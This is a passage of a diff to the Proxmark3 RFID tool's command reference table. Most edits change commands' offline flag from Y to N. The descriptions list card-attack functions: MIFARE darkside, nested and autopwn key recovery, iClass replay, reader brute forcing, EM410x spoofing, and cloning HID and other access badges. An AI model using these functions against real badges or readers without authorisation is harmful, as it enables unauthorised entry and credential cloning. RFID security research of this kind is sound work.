list `|Y |`List protocol data in trace buffer` -|`hf tune `|Y |`Continuously measure HF antenna tuning` +|`hf tune `|N |`Continuously measure HF antenna tuning` |`hf search `|Y |`Search for known HF tags` -|`hf sniff `|Y |` Generic HF Sniff` +|`hf sniff `|N |` Generic HF Sniff` ### hf 14a @@ -115,15 +124,15 @@ |------- |------- |----------- |`hf 14a help `|Y |`This help` |`hf 14a list `|Y |`List ISO 14443-a history` -|`hf 14a info `|Y |`Tag information` -|`hf 14a reader `|Y |`Act like an ISO14443-a reader` -|`hf 14a cuids `|Y |` Collect n>0 ISO14443-a UIDs in one go` -|`hf 14a sim `|Y |` -- Simulate ISO 14443-a tag` -|`hf 14a sniff `|Y |`sniff ISO 14443-a traffic` -|`hf 14a apdu `|Y |`Send ISO 14443-4 APDU to tag` -|`hf 14a chaining `|Y |`Control ISO 14443-4 input chaining` -|`hf 14a raw `|Y |`Send raw hex data to tag` -|`hf 14a antifuzz `|Y |`Fuzzing the anticollision phase. Warning! Readers may react strange` +|`hf 14a info `|N |`Tag information` +|`hf 14a reader `|N |`Act like an ISO14443-a reader` +|`hf 14a cuids `|N |` Collect n>0 ISO14443-a UIDs in one go` +|`hf 14a sim `|N |` -- Simulate ISO 14443-a tag` +|`hf 14a sniff `|N |`sniff ISO 14443-a traffic` +|`hf 14a apdu `|N |`Send ISO 14443-4 APDU to tag` +|`hf 14a chaining `|N |`Control ISO 14443-4 input chaining` +|`hf 14a raw `|N |`Send raw hex data to tag` +|`hf 14a antifuzz `|N |`Fuzzing the anticollision phase. Warning! Readers may react strange` ### hf 14b @@ -133,15 +142,15 @@ |command |offline |description |------- |------- |----------- |`hf 14b help `|Y |`This help` -|`hf 14b dump `|Y |`Read all memory pages of an ISO14443-B tag, save to file` -|`hf 14b info `|Y |`Tag information` +|`hf 14b dump `|N |`Read all memory pages of an ISO14443-B tag, save to file` +|`hf 14b info `|N |`Tag information` |`hf 14b list `|Y |`List ISO 14443B history` -|`hf 14b raw `|Y |`Send raw hex data to tag` -|`hf 14b reader `|Y |`Act as a 14443B reader to identify a tag` -|`hf 14b sim `|Y |`Fake ISO 14443B tag` -|`hf 14b sniff `|Y |`Eavesdrop ISO 14443B` -|`hf 14b sriread `|Y |`Read contents of a SRI512 | SRIX4K tag` -|`hf 14b sriwrite `|Y |`Write data to a SRI512 | SRIX4K tag` +|`hf 14b raw `|N |`Send raw hex data to tag` +|`hf 14b reader `|N |`Act as a 14443B reader to identify a tag` +|`hf 14b sim `|N |`Fake ISO 14443B tag` +|`hf 14b sniff `|N |`Eavesdrop ISO 14443B` +|`hf 14b sriread `|N |`Read contents of a SRI512 | SRIX4K tag` +|`hf 14b sriwrite `|N |`Write data to a SRI512 | SRIX4K tag` ### hf 15 @@ -152,22 +161,22 @@ |------- |------- |----------- |`hf 15 help `|Y |`This help` |`hf 15 demod `|Y |`Demodulate ISO15693 from tag` -|`hf 15 dump `|Y |`Read all memory pages of an ISO15693 tag, save to file` -|`hf 15 findafi `|Y |`Brute force AFI of an ISO15693 tag` -|`hf 15 writeafi `|Y |`Writes the AFI on an ISO15693 tag` -|`hf 15 writedsfid `|Y |`Writes the DSFID on an ISO15693 tag` -|`hf 15 info `|Y |`Tag information` +|`hf 15 dump `|N |`Read all memory pages of an ISO15693 tag, save to file` +|`hf 15 findafi `|N |`Brute force AFI of an ISO15693 tag` +|`hf 15 writeafi `|N |`Writes the AFI on an ISO15693 tag` +|`hf 15 writedsfid `|N |`Writes the DSFID on an ISO15693 tag` +|`hf 15 info `|N |`Tag information` |`hf 15 list `|Y |`List ISO15693 history` -|`hf 15 raw `|Y |`Send raw hex data to tag` -|`hf 15 reader `|Y |`Act like an ISO15693 reader` -|`hf 15 record `|Y |`Record Samples (ISO15693)` -|`hf 15 restore `|Y |`Restore from file to all memory pages of an ISO15693 tag` -|`hf 15 sim `|Y |`Fake an ISO15693 tag` -|`hf 15 samples `|Y |`Acquire Samples as Reader (enables carrier, sends inquiry)` -|`hf 15 read `|Y |`Read a block` -|`hf 15 write `|Y |`Write a block` -|`hf 15 readmulti `|Y |`Reads multiple Blocks` -|`hf 15 csetuid `|Y |`Set UID for magic Chinese card` +|`hf 15 raw `|N |`Send raw hex data to tag` +|`hf 15 reader `|N |`Act like an ISO15693 reader` +|`hf 15 record `|N |`Record Samples (ISO15693)` +|`hf 15 restore `|N |`Restore from file to all memory pages of an ISO15693 tag` +|`hf 15 sim `|N |`Fake an ISO15693 tag` +|`hf 15 samples `|N |`Acquire Samples as Reader (enables carrier, sends inquiry)` +|`hf 15 read `|N |`Read a block` +|`hf 15 write `|N |`Write a block` +|`hf 15 readmulti `|N |`Reads multiple Blocks` +|`hf 15 csetuid `|N |`Set UID for magic Chinese card` ### hf epa @@ -177,8 +186,8 @@ |command |offline |description |------- |------- |----------- |`hf epa help `|Y |`This help` -|`hf epa cnonces `|Y |` Acquire n>0 encrypted PACE nonces of size m>0 with d sec pauses` -|`hf epa preplay `|Y |` Perform PACE protocol by replaying given APDUs` +|`hf epa cnonces `|N |` Acquire n>0 encrypted PACE nonces of size m>0 with d sec pauses` +|`hf epa preplay `|N |` Perform PACE protocol by replaying given APDUs` ### hf felica @@ -189,22 +198,22 @@ |------- |------- |----------- |`hf felica help `|Y |`This help` |`hf felica list `|Y |`List ISO 18092/FeliCa history` -|`hf felica reader `|Y |`Act like an ISO18092/FeliCa reader` -|`hf felica sniff `|Y |`Sniff ISO 18092/FeliCa traffic` -|`hf felica raw `|Y |`Send raw hex data to tag` -|`hf felica rqservice `|Y |`verify the existence of Area and Service, and to acquire Key Version.` -|`hf felica rqresponse `|Y |`verify the existence of a card and its Mode.` -|`hf felica rdunencrypted`|Y |`read Block Data from authentication-not-required Service.` -|`hf felica wrunencrypted`|Y |`write Block Data to an authentication-not-required Service.` -|`hf felica scsvcode `|Y |`acquire Area Code and Service Code.` -|`hf felica rqsyscode `|Y |`acquire System Code registered to the card.` -|`hf felica auth1 `|Y |`authenticate a card. Start mutual authentication with Auth1` -|`hf felica auth2 `|Y |`allow a card to authenticate a Reader/Writer. Complete mutual authentication` -|`hf felica read `|Y |`read Block Data from authentication-required Service.` -|`hf felica rqspecver `|Y |`acquire the version of card OS.` -|`hf felica resetmode `|Y |`reset Mode to Mode 0.` -|`hf felica litesim `|Y |` - only reply to poll request` -|`hf felica litedump `|Y |`Wait for and try dumping FelicaLite` +|`hf felica reader `|N |`Act like an ISO18092/FeliCa reader` +|`hf felica sniff `|N |`Sniff ISO 18092/FeliCa traffic` +|`hf felica raw `|N |`Send raw hex data to tag` +|`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.` +|`hf felica rqresponse `|N |`verify the existence of a card and its Mode.` +|`hf felica rdunencrypted`|N |`read Block Data from authentication-not-required Service.` +|`hf felica wrunencrypted`|N |`write Block Data to an authentication-not-required Service.` +|`hf felica scsvcode `|N |`acquire Area Code and Service Code.` +|`hf felica rqsyscode `|N |`acquire System Code registered to the card.` +|`hf felica auth1 `|N |`authenticate a card. Start mutual authentication with Auth1` +|`hf felica auth2 `|N |`allow a card to authenticate a Reader/Writer. Complete mutual authentication` +|`hf felica read `|N |`read Block Data from authentication-required Service.` +|`hf felica rqspecver `|N |`acquire the version of card OS.` +|`hf felica resetmode `|N |`reset Mode to Mode 0.` +|`hf felica litesim `|N |` - only reply to poll request` +|`hf felica litedump `|N |`Wait for and try dumping FelicaLite` ### hf legic @@ -214,18 +223,18 @@ |command |offline |description |------- |------- |----------- |`hf legic help `|Y |`This help` -|`hf legic reader `|Y |`LEGIC Prime Reader UID and tag info` -|`hf legic info `|Y |`Display deobfuscated and decoded LEGIC Prime tag data` -|`hf legic dump `|Y |`Dump LEGIC Prime tag to binary file` -|`hf legic restore `|Y |`Restore a dump file onto a LEGIC Prime tag` -|`hf legic rdmem `|Y |`Read bytes from a LEGIC Prime tag` -|`hf legic sim `|Y |`Start tag simulator` -|`hf legic write `|Y |`Write data to a LEGIC Prime tag` +|`hf legic reader `|N |`LEGIC Prime Reader UID and tag info` +|`hf legic info `|N |`Display deobfuscated and decoded LEGIC Prime tag data` +|`hf legic dump `|N |`Dump LEGIC Prime tag to binary file` +|`hf legic restore `|N |`Restore a dump file onto a LEGIC Prime tag` +|`hf legic rdmem `|N |`Read bytes from a LEGIC Prime tag` +|`hf legic sim `|N |`Start tag simulator` +|`hf legic write `|N |`Write data to a LEGIC Prime tag` |`hf legic crc `|Y |`Calculate Legic CRC over given bytes` -|`hf legic eload `|Y |`Load binary dump to emulator memory` -|`hf legic esave `|Y |`Save emulator memory to binary file` +|`hf legic eload `|N |`Load binary dump to emulator memory` +|`hf legic esave `|N |`Save emulator memory to binary file` |`hf legic list `|Y |`List LEGIC history` -|`hf legic wipe `|Y |`Wipe a LEGIC Prime tag` +|`hf legic wipe `|N |`Wipe a LEGIC Prime tag` ### hf iclass @@ -237,24 +246,24 @@ |`hf iclass help `|Y |`This help` |`hf iclass calcnewkey `|Y |`[options..] Calc diversified keys (blocks 3 & 4) to write new keys` |`hf iclass chk `|Y |`[options..] Check keys` -|`hf iclass clone `|Y |`[options..] Restore a dump file onto a iClass tag` +|`hf iclass clone `|N |`[options..] Restore a dump file onto a iClass tag` |`hf iclass decrypt `|Y |`[options..] Decrypt given block data or tag dump file` -|`hf iclass dump `|Y |`[options..] Dump iClass tag to file` -|`hf iclass eload `|Y |`[f ] Load iClass dump file into emulator memory` +|`hf iclass dump `|N |`[options..] Dump iClass tag to file` +|`hf iclass eload `|N |`[f ] Load iClass dump file into emulator memory` |`hf iclass encrypt `|Y |`[options..] Encrypt given block data` |`hf iclass info `|Y |` Tag information` |`hf iclass list `|Y |` List iClass history` |`hf iclass loclass `|Y |`[options..] Use loclass to perform bruteforce reader attack` |`hf iclass lookup `|Y |`[options..] Uses authentication trace to check for key in dictionary file` |`hf iclass managekeys `|Y |`[options..] Manage keys to use with iClass` -|`hf iclass permutekey `|Y |` Permute function from 'heart of darkness' paper` -|`hf iclass rdbl `|Y |`[options..] Read iClass block` -|`hf iclass reader `|Y |` Act like an iClass reader` +|`hf iclass permutekey `|N |` Permute function from 'heart of darkness' paper` +|`hf iclass rdbl `|N |`[options..] Read iClass block` +|`hf iclass reader `|N |` Act like an iClass reader` |`hf iclass readtagfile `|Y |`[options..] Display content from tag dump file` -|`hf iclass replay `|Y |` Read iClass tag via replay attack` -|`hf iclass sim `|Y |`[options..] Simulate iClass tag` -|`hf iclass sniff `|Y |` Eavesdrop iClass communication` -|`hf iclass wrbl `|Y |`[options..] Write iClass block` +|`hf iclass replay `|N |` Read iClass tag via replay attack` +|`hf iclass sim `|N |`[options..] Simulate iClass tag` +|`hf iclass sniff `|N |` Eavesdrop iClass communication` +|`hf iclass wrbl `|N |`[options..] Write iClass block` ### hf mf @@ -265,39 +274,39 @@ |------- |------- |----------- |`hf mf help `|Y |`This help` |`hf mf list `|Y |`List MIFARE history` -|`hf mf darkside `|Y |`Darkside attack` -|`hf mf nested `|Y |`Nested attack` +|`hf mf darkside `|N |`Darkside attack` +|`hf mf nested `|N |`Nested attack` |`hf mf hardnested `|Y |`Nested attack for hardened MIFARE Classic cards` -|`hf mf autopwn `|Y |`Automatic key recovery tool for MIFARE Classic` -|`hf mf nack `|Y |`Test for MIFARE NACK bug` -|`hf mf chk `|Y |`Check keys` -|`hf mf fchk `|Y |`Check keys fast, targets all keys on card` +|`hf mf autopwn `|N |`Automatic key recovery tool for MIFARE Classic` +|`hf mf nack `|N |`Test for MIFARE NACK bug` +|`hf mf chk `|N |`Check keys` +|`hf mf fchk `|N |`Check keys fast, targets all keys on card` |`hf mf decrypt `|Y |`[nt] [ar_enc] [at_enc] [data] - to decrypt sniff or trace` -|`hf mf rdbl `|Y |`Read MIFARE classic block` -|`hf mf rdsc `|Y |`Read MIFARE classic sector` -|`hf mf dump `|Y |`Dump MIFARE classic tag to binary file` -|`hf mf restore `|Y |`Restore MIFARE classic binary file to BLANK tag` -|`hf mf wrbl `|Y |`Write MIFARE classic block` -|`hf mf setmod `|Y |`Set MIFARE Classic EV1 load modulation strength` -|`hf mf auth4 `|Y |`ISO14443-4 AES authentication` -|`hf mf sim `|Y |`Simulate MIFARE card` -|`hf mf eclr `|Y |`Clear simulator memory` -|`hf mf eget `|Y |`Get simulator memory block` -|`hf mf eset `|Y |`Set simulator memory block` -|`hf mf eload `|Y |`Load from file emul dump` -|`hf mf esave `|Y |`Save to file emul dump` -|`hf mf ecfill `|Y |`Fill simulator memory with help of keys from simulator` -|`hf mf ekeyprn `|Y |`Print keys from simulator memory` -|`hf mf csetuid `|Y |`Set UID (magic chinese card)` -|`hf mf cwipe `|Y |`Wipe card to default UID/Sectors/Keys` -|`hf mf csetblk `|Y |`Write block (magic chinese card)` -|`hf mf cgetblk `|Y |`Read block (magic chinese card)` -|`hf mf cgetsc `|Y |`Read sector (magic chinese card)` -|`hf mf cload `|Y |`Load dump (magic chinese card)` -|`hf mf csave `|Y |`Save dump from magic chinese card into file or emulator` -|`hf mf mad `|Y |`Checks and prints MAD` -|`hf mf ndef `|Y |`Prints NDEF records from card` -|`hf mf ice `|Y |`collect MIFARE Classic nonces to file` +|`hf mf rdbl `|N |`Read MIFARE classic block` +|`hf mf rdsc `|N |`Read MIFARE classic sector` +|`hf mf dump `|N |`Dump MIFARE classic tag to binary file` +|`hf mf restore `|N |`Restore MIFARE classic binary file to BLANK tag` +|`hf mf wrbl `|N |`Write MIFARE classic block` +|`hf mf setmod `|N |`Set MIFARE Classic EV1 load modulation strength` +|`hf mf auth4 `|N |`ISO14443-4 AES authentication` +|`hf mf sim `|N |`Simulate MIFARE card` +|`hf mf eclr `|N |`Clear simulator memory` +|`hf mf eget `|N |`Get simulator memory block` +|`hf mf eset `|N |`Set simulator memory block` +|`hf mf eload `|N |`Load from file emul dump` +|`hf mf esave `|N |`Save to file emul dump` +|`hf mf ecfill `|N |`Fill simulator memory with help of keys from simulator` +|`hf mf ekeyprn `|N |`Print keys from simulator memory` +|`hf mf csetuid `|N |`Set UID (magic chinese card)` +|`hf mf cwipe `|N |`Wipe card to default UID/Sectors/Keys` +|`hf mf csetblk `|N |`Write block (magic chinese card)` +|`hf mf cgetblk `|N |`Read block (magic chinese card)` +|`hf mf cgetsc `|N |`Read sector (magic chinese card)` +|`hf mf cload `|N |`Load dump (magic chinese card)` +|`hf mf csave `|N |`Save dump from magic chinese card into file or emulator` +|`hf mf mad `|N |`Checks and prints MAD` +|`hf mf ndef `|N |`Prints NDEF records from card` +|`hf mf ice `|N |`collect MIFARE Classic nonces to file` ### hf mfp @@ -307,17 +316,17 @@ |command |offline |description |------- |------- |----------- |`hf mfp help `|Y |`This help` -|`hf mfp info `|Y |`Info about Mifare Plus tag` -|`hf mfp wrp `|Y |`Write Perso command` -|`hf mfp initp `|Y |`Fills all the card's keys` -|`hf mfp commitp `|Y |`Move card to SL1 or SL3 mode` -|`hf mfp auth `|Y |`Authentication` -|`hf mfp rdbl `|Y |`Read blocks` -|`hf mfp rdsc `|Y |`Read sectors` -|`hf mfp wrbl `|Y |`Write blocks` -|`hf mfp chk `|Y |`Check keys` -|`hf mfp mad `|Y |`Checks and prints MAD` -|`hf mfp ndef `|Y |`Prints NDEF records from card` +|`hf mfp info `|N |`Info about Mifare Plus tag` +|`hf mfp wrp `|N |`Write Perso command` +|`hf mfp initp `|N |`Fills all the card's keys` +|`hf mfp commitp `|N |`Move card to SL1 or SL3 mode` +|`hf mfp auth `|N |`Authentication` +|`hf mfp rdbl `|N |`Read blocks` +|`hf mfp rdsc `|N |`Read sectors` +|`hf mfp wrbl `|N |`Write blocks` +|`hf mfp chk `|N |`Check keys` +|`hf mfp mad `|N |`Checks and prints MAD` +|`hf mfp ndef `|N |`Prints NDEF records from card` ### hf mfu @@ -327,19 +336,19 @@ |command |offline |description |------- |------- |----------- |`hf mfu help `|Y |`This help` -|`hf mfu info `|Y |`Tag information` -|`hf mfu dump `|Y |`Dump Ultralight / Ultralight-C / NTAG tag to binary file` -|`hf mfu restore `|Y |`Restore a dump onto a MFU MAGIC tag` -|`hf mfu eload `|Y |`load Ultralight .eml dump file into emulator memory` -|`hf mfu rdbl `|Y |`Read block` -|`hf mfu wrbl `|Y |`Write block` -|`hf mfu cauth `|Y |`Authentication - Ultralight C` -|`hf mfu setpwd `|Y |`Set 3des password - Ultralight-C` -|`hf mfu setuid `|Y |`Set UID - MAGIC tags only` -|`hf mfu sim `|Y |`Simulate Ultralight from emulator memory` +|`hf mfu info `|N |`Tag information` +|`hf mfu dump `|N |`Dump Ultralight / Ultralight-C / NTAG tag to binary file` +|`hf mfu restore `|N |`Restore a dump onto a MFU MAGIC tag` +|`hf mfu eload `|N |`load Ultralight .eml dump file into emulator memory` +|`hf mfu rdbl `|N |`Read block` +|`hf mfu wrbl `|N |`Write block` +|`hf mfu cauth `|N |`Authentication - Ultralight C` +|`hf mfu setpwd `|N |`Set 3des password - Ultralight-C` +|`hf mfu setuid `|N |`Set UID - MAGIC tags only` +|`hf mfu sim `|N |`Simulate Ultralight from emulator memory` |`hf mfu gen `|Y |`Generate 3des mifare diversified keys` |`hf mfu pwdgen `|Y |`Generate pwd from known algos` -|`hf mfu otptear `|Y |`Tear-off test on OTP bits` +|`hf mfu otptear `|N |`Tear-off test on OTP bits` ### hf mfdes @@ -349,9 +358,9 @@ |command |offline |description |------- |------- |----------- |`hf mfdes help `|Y |`This help` -|`hf mfdes info `|Y |`Tag information` -|`hf mfdes enum `|Y |`Tries enumerate all applications` -|`hf mfdes auth `|Y |`Tries a MIFARE DesFire Authentication` +|`hf mfdes info `|N |`Tag information` +|`hf mfdes enum `|N |`Tries enumerate all applications` +|`hf mfdes auth `|N |`Tries a MIFARE DesFire Authentication` ### hf topaz @@ -361,10 +370,10 @@ |command |offline |description |------- |------- |----------- |`hf topaz help `|Y |`This help` -|`hf topaz reader `|Y |`Act like a Topaz reader` -|`hf topaz sim `|Y |` -- Simulate Topaz tag` -|`hf topaz sniff `|Y |`Sniff Topaz reader-tag communication` -|`hf topaz raw `|Y |`Send raw hex data to tag` +|`hf topaz reader `|N |`Act like a Topaz reader` +|`hf topaz sim `|N |` -- Simulate Topaz tag` +|`hf topaz sniff `|N |`Sniff Topaz reader-tag communication` +|`hf topaz raw `|N |`Send raw hex data to tag` |`hf topaz list `|Y |`List Topaz history` @@ -375,11 +384,11 @@ |command |offline |description |------- |------- |----------- |`hf fido help `|Y |`This help.` -|`hf fido info `|Y |`Info about FIDO tag.` -|`hf fido reg `|Y |`FIDO U2F Registration Message.` -|`hf fido auth `|Y |`FIDO U2F Authentication Message.` -|`hf fido make `|Y |`FIDO2 MakeCredential command.` -|`hf fido assert `|Y |`FIDO2 GetAssertion command.` +|`hf fido info `|N |`Info about FIDO tag.` +|`hf fido reg `|N |`FIDO U2F Registration Message.` +|`hf fido auth `|N |`FIDO U2F Authentication Message.` +|`hf fido make `|N |`FIDO2 MakeCredential command.` +|`hf fido assert `|N |`FIDO2 GetAssertion command.` ### hf thinfilm @@ -389,9 +398,9 @@ |command |offline |description |------- |------- |----------- |`hf thinfilm help `|Y |`This help` -|`hf thinfilm info `|Y |`Tag information` +|`hf thinfilm info `|N |`Tag information` |`hf thinfilm list `|Y |`List NFC Barcode / Thinfilm history - not correct` -|`hf thinfilm sim `|Y |`Fake Thinfilm tag` +|`hf thinfilm sim `|N |`Fake Thinfilm tag` ### hw @@ -402,21 +411,21 @@ |------- |------- |----------- |`hw help `|Y |`This help` |`hw connect `|Y |`connect Proxmark3 to serial port` -|`hw dbg `|Y |`Set Proxmark3 debug level` -|`hw detectreader `|Y |`['l'|'h'] -- Detect external reader field (option 'l' or 'h' to limit to LF or HF)` -|`hw fpgaoff `|Y |`Set FPGA off` +|`hw dbg `|N |`Set Proxmark3 debug level` +|`hw detectreader `|N |`['l'|'h'] -- Detect external reader field (option 'l' or 'h' to limit to LF or HF)` +|`hw fpgaoff `|N |`Set FPGA off` |`hw lcd `|N |` -- Send command/data to LCD` |`hw lcdreset `|N |`Hardware reset LCD` -|`hw ping `|Y |`Test if the Proxmark3 is responsive` -|`hw readmem `|Y |`[address] -- Read memory at decimal address from flash` -|`hw reset `|Y |`Reset the Proxmark3` -|`hw setlfdivisor `|Y |`<19 - 255> -- Drive LF antenna at 12MHz/(divisor+1)` -|`hw setmux `|Y |`Set the ADC mux to a specific value` -|`hw standalone `|Y |`Jump to the standalone mode` -|`hw status `|Y |`Show runtime status information about the connected Proxmark3` -|`hw tia `|Y |`Trigger a Timing Interval Acquisition to re-adjust the RealTimeCounter divider` -|`hw tune `|Y |`Measure antenna tuning` -|`hw version `|Y |`Show version information about the connected Proxmark3` +|`hw ping `|N |`Test if the Proxmark3 is responsive` +|`hw readmem `|N |`[address] -- Read memory at decimal address from flash` +|`hw reset `|N |`Reset the Proxmark3` +|`hw setlfdivisor `|N |`<19 - 255> -- Drive LF antenna at 12MHz/(divisor+1)` +|`hw setmux `|N |`Set the ADC mux to a specific value` +|`hw standalone `|N |`Jump to the standalone mode` +|`hw status `|N |`Show runtime status information about the connected Proxmark3` +|`hw tia `|N |`Trigger a Timing Interval Acquisition to re-adjust the RealTimeCounter divider` +|`hw tune `|N |`Measure antenna tuning` +|`hw version `|N |`Show version information about the connected Proxmark3` ### lf @@ -426,22 +435,17 @@ |command |offline |description |------- |------- |----------- |`lf help `|Y |`This help` -|`lf config `|Y |`Get/Set config for LF sampling, bit/sample, decimation, frequency` -|`lf cmdread `|Y |` <'0' period> <'1' period> ['h' 134] - -- Modulate LF reader field to send command before read (all periods in microseconds)` -|`lf read `|Y |`['s' silent] Read 125/134 kHz LF ID-only tag. Do 'lf read h' for help` -|`lf search `|Y |`[offline] ['u'] Read and Search for valid known tag (in offline mode it you can load first then search) - -- 'u' to search for unknown tags` -|`lf sim `|Y |`[GAP] -- Simulate LF tag from buffer with optional GAP (in microseconds)` -|`lf simask `|Y |`[clock] [invert <1|0>] [biphase/manchester/raw <'b'|'m'|'r'>] [msg separator 's'] [d ] - -- Simulate LF ASK tag from demodbuffer or input` -|`lf simfsk `|Y |`[c ] [i] [H ] [L ] [d ] - -- Simulate LF FSK tag from demodbuffer or input` -|`lf simpsk `|Y |`[1|2|3] [c ] [i] [r ] [d ] - -- Simulate LF PSK tag from demodbuffer or input` -|`lf simbidir `|Y |`Simulate LF tag (with bidirectional data transmission between reader and tag)` -|`lf sniff `|Y |`Sniff LF traffic between reader and tag` -|`lf tune `|Y |`Continuously measure LF antenna tuning` +|`lf config `|N |`Get/Set config for LF sampling, bit/sample, decimation, frequency` +|`lf cmdread `|N |`Modulate LF reader field to send command before read (all periods in microseconds)` +|`lf read `|N |`Read LF tag` +|`lf search `|Y |`Read and Search for valid known tag (in offline mode it you can load first then search)` +|`lf sim `|N |`Simulate LF tag from buffer with optional GAP (in microseconds)` +|`lf simask `|N |`Simulate LF ASK tag from demodbuffer or input` +|`lf simfsk `|N |`Simulate LF FSK tag from demodbuffer or input` +|`lf simpsk `|N |`Simulate LF PSK tag from demodbuffer or input` +|`lf simbidir `|N |`Simulate LF tag (with bidirectional data transmission between reader and tag)` +|`lf sniff `|N |`Sniff LF traffic between reader and tag` +|`lf tune `|N |`Continuously measure LF antenna tuning` ### lf awid @@ -452,11 +456,11 @@ |------- |------- |----------- |`lf awid help `|Y |`this help` |`lf awid demod `|Y |`demodulate an AWID FSK tag from the GraphBuffer` -|`lf awid read `|Y |`attempt to read and extract tag data` -|`lf awid clone `|Y |`clone AWID tag to T55x7 (or to q5/T5555)` -|`lf awid sim `|Y |`simulate AWID tag` -|`lf awid brute `|Y |`Bruteforce card number against reader` -|`lf awid watch `|Y |`continuously watch for cards. Reader mode` +|`lf awid read `|N |`attempt to read and extract tag data` +|`lf awid clone `|N |`clone AWID tag to T55x7 (or to q5/T5555)` +|`lf awid sim `|N |`simulate AWID tag` +|`lf awid brute `|N |`Bruteforce card number against reader` +|`lf awid watch `|N |`continuously watch for cards. Reader mode` ### lf cotag @@ -467,7 +471,7 @@ |------- |------- |----------- |`lf cotag help `|Y |`This help` |`lf cotag demod `|Y |`Tries to decode a COTAG signal` -|`lf cotag read `|Y |`Attempt to read and extract tag data` +|`lf cotag read `|N |`Attempt to read and extract tag data` ### lf em @@ -478,22 +482,22 @@ |------- |------- |----------- |`lf em help `|Y |`This help` |`lf em 410x_demod `|Y |`demodulate a EM410x tag from the GraphBuffer` -|`lf em 410x_read `|Y |`attempt to read and extract tag data` -|`lf em 410x_sim `|Y |`simulate EM410x tag` -|`lf em 410x_brute `|Y |`reader bruteforce attack by simulating EM410x tags` -|`lf em 410x_watch `|Y |`watches for EM410x 125/134 kHz tags (option 'h' for 134)` -|`lf em 410x_spoof `|Y |`watches for EM410x 125/134 kHz tags, and replays them. (option 'h' for 134)` -|`lf em 410x_write `|Y |`write EM410x UID to T5555(Q5) or T55x7 tag` +|`lf em 410x_read `|N |`attempt to read and extract tag data` +|`lf em 410x_sim `|N |`simulate EM410x tag` +|`lf em 410x_brute `|N |`reader bruteforce attack by simulating EM410x tags` +|`lf em 410x_watch `|N |`watches for EM410x 125/134 kHz tags (option 'h' for 134)` +|`lf em 410x_spoof `|N |`watches for EM410x 125/134 kHz tags, and replays them. (option 'h' for 134)` +|`lf em 410x_write `|N |`write EM410x UID to T5555(Q5) or T55x7 tag` |`lf em 4x05_demod `|Y |`demodulate a EM4x05/EM4x69 tag from the GraphBuffer` -|`lf em 4x05_dump `|Y |`dump EM4x05/EM4x69 tag` -|`lf em 4x05_wipe `|Y |`wipe EM4x05/EM4x69 tag` -|`lf em 4x05_info `|Y |`tag information EM4x05/EM4x69` -|`lf em 4x05_read `|Y |`read word data from EM4x05/EM4x69` -|`lf em 4x05_write `|Y |`write word data to EM4x05/EM4x69` +|`lf em 4x05_dump `|N |`dump EM4x05/EM4x69 tag` +|`lf em 4x05_wipe `|N |`wipe EM4x05/EM4x69 tag` +|`lf em 4x05_info `|N |`tag information EM4x05/EM4x69` +|`lf em 4x05_read `|N |`read word data from EM4x05/EM4x69` +|`lf em 4x05_write `|N |`write word data to EM4x05/EM4x69` |`lf em 4x50_demod `|Y |`demodulate a EM4x50 tag from the GraphBuffer` -|`lf em 4x50_dump `|Y |`dump EM4x50 tag` -|`lf em 4x50_read `|Y |`read word data from EM4x50` -|`lf em 4x50_write `|Y |`write word data to EM4x50` +|`lf em 4x50_dump `|N |`dump EM4x50 tag` +|`lf em 4x50_read `|N |`read word data from EM4x50` +|`lf em 4x50_write `|N |`write word data to EM4x50` ### lf fdx @@ -504,9 +508,9 @@ |------- |------- |----------- |`lf fdx help `|Y |`this help` |`lf fdx demod `|Y |`demodulate a FDX-B ISO11784/85 tag from the GraphBuffer` -|`lf fdx read `|Y |`attempt to read and extract tag data` -|`lf fdx clone `|Y |`clone animal ID tag to T55x7 (or to q5/T5555)` -|`lf fdx sim `|Y |`simulate Animal ID tag` +|`lf fdx read `|N |`attempt to read and extract tag data` +|`lf fdx clone `|N |`clone animal ID tag to T55x7 (or to q5/T5555)` +|`lf fdx sim `|N |`simulate Animal ID tag` ### lf gallagher @@ -517,9 +521,9 @@ |------- |------- |----------- |`lf gallagher help `|Y |`This help` |`lf gallagher demod `|Y |`Demodulate an GALLAGHER tag from the GraphBuffer` -|`lf gallagher read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf gallagher clone `|Y |`clone GALLAGHER tag to T55x7` -|`lf gallagher sim `|Y |`simulate GALLAGHER tag` +|`lf gallagher read `|N |`Attempt to read and extract tag data from the antenna` +|`lf gallagher clone `|N |`clone GALLAGHER tag to T55x7` +|`lf gallagher sim `|N |`simulate GALLAGHER tag` ### lf gproxii @@ -530,9 +534,9 @@ |------- |------- |----------- |`lf gproxii help `|Y |`this help` |`lf gproxii demod `|Y |`demodulate a G Prox II tag from the GraphBuffer` -|`lf gproxii read `|Y |`attempt to read and extract tag data from the antenna` -|`lf gproxii clone `|Y |`clone Guardall tag to T55x7` -|`lf gproxii sim `|Y |`simulate Guardall tag` +|`lf gproxii read `|N |`attempt to read and extract tag data from the antenna` +|`lf gproxii clone `|N |`clone Guardall tag to T55x7` +|`lf gproxii sim `|N |`simulate Guardall tag` ### lf hid @@ -543,11 +547,11 @@ |------- |------- |----------- |`lf hid help `|Y |`this help` |`lf hid demod `|Y |`demodulate HID Prox tag from the GraphBuffer` -|`lf hid read `|Y |`attempt to read and extract tag data` -|`lf hid clone `|Y |`clone HID tag to T55x7` -|`lf hid sim `|Y |`simulate HID tag` -|`lf hid brute `|Y |`bruteforce card number against reader` -|`lf hid watch `|Y |`continuously watch for cards. Reader mode` +|`lf hid read `|N |`attempt to read and extract tag data` +|`lf hid clone `|N |`clone HID tag to T55x7` +|`lf hid sim `|N |`simulate HID tag` +|`lf hid brute `|N |`bruteforce card number against reader` +|`lf hid watch `|N |`continuously watch for cards. Reader mode` ### lf hitag @@ -557,13 +561,13 @@ |command |offline |description |------- |------- |----------- |`lf hitag help `|Y |`This help` -|`lf hitag list `|Y |`List Hitag trace history` -|`lf hitag info `|Y |`Tag information` -|`lf hitag reader `|Y |`Act like a Hitag Reader` -|`lf hitag sim `|Y |`Simulate Hitag transponder` -|`lf hitag sniff `|Y |`Eavesdrop Hitag communication` -|`lf hitag writer `|Y |`Act like a Hitag Writer` -|`lf hitag cc `|Y |`Test all challenges` +|`lf hitag list `|N |`List Hitag trace history` +|`lf hitag info `|N |`Tag information` +|`lf hitag reader `|N |`Act like a Hitag Reader` +|`lf hitag sim `|N |`Simulate Hitag transponder` +|`lf hitag sniff `|N |`Eavesdrop Hitag communication` +|`lf hitag writer `|N |`Act like a Hitag Writer` +|`lf hitag cc `|N |`Test all challenges` ### lf indala @@ -575,9 +579,9 @@ |`lf indala help 